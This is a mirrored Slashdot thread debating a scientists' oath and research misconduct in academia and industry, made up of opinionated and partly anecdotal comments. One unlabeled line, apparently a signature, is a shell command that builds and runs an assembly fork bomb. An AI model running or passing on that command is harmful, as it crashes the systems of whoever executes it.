Slashdot Mirror
A Hippocratic Oath For Scientists
grrlscientist writes "In response to what appears to be a growing problem of scientific misconduct, a group of people at the Institute of Medical Science at University of Toronto in Canada wrote a scientist's version of the Hippocratic oath. This oath (which is cited in the story) was recited by all graduate students in the biological sciences at the beginning of the 2007-2008 academic year." This blogger argues that merely reciting an oath is not going to help much when "...the corruption in 'science' is systemic. It is due to corporate science being run according to a business model instead of in accordance to an educational paradigm. It is due to unrestrained corporate greed combined with a tremendous disparity in power and income..."
Personally, I was more caught by the blogger's throwaway remarks about "corporate science". The truth in my experience is that academics exaggerate to get grants and manipulate data to publish papers. For instance, a substantial fraction of chemistry research cannot be reproduced because the results shown are a fluke, and the applications of an idea are often grossly exaggerated. For instance, some scientists invented a new alloy which they suggest will revolutionize crumple-zones in cars. This alloy includes palladium, a rare-metal. Indeed so rare, if all the palladium on earth were to be used to make this new alloy, we'd get about a cubic meter of the stuff.
You just don't get away with this sort of stuff in industry. For instance the famous Bell Labs scientist who falsified his nanotech research. This was then discovered by a competing group at IBM. In industry, scientific fraud is hard b.c. the standards for research go beyond publishing a few page journal article.
The worst thing about it is that quite often the profit motive is what makes people's bosses call them out on their self serving bullshit. If you look at companies where people can't be fired their bosses have much less ability to do that. And the end result is that people can talk their way out of doing anything except for their pet project which doesn't have any customers, or any users except for them and their friends. Everyone knows that it's bullshit, but because they can't be fired people know it's a bad idea to say anything.
Much like academia, really.
Seriosly, I'm sick of Americans/Canadians and people from capitalist countries whining on about how the profit motive corrupts things without having experienced a world where it is severly attenuated. Move to Sweden, work in a company there for a while and see how well it works.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
At the end of my Psychology degree, during our last module, they told us about studies which were generally critical of Psychology, which included the scientific integrity issue. I forget whose study it was (Williams?), but someone had gone to the trouble of contacting a large number of authors of academic papers and had asked for their original data to review it. About half had 'lost' it, and of the rest about 1/3 had made at least one significant error.
I wondered at the time what could be done about this and whether it would help to write a small open source data-faking program, which would generate random results in line with the what the researcher wanted to find. By making it blatantly easy to massage/fake results (which was rife with the students writing their dissertations and faintly rumoured regarding certain staff), the problem would be hard to ignore as everyone would be under suspicion.
Obviously this won't make it possible to spot essentially undetectable faked results, but it might place more pressure on scientists to make their results truly verifiable and start a (possibly panicked) discussion about how to maintain credibility, which seeems to currently be based largely on the assumption of good character.
Or then again I may just be bitter about doing my research properly and not having taken the easy route like everyone else on the course.
Aargh! Damn Psychology!
[grasps head]
Can't...
stop...
analysing....
Gnnnh!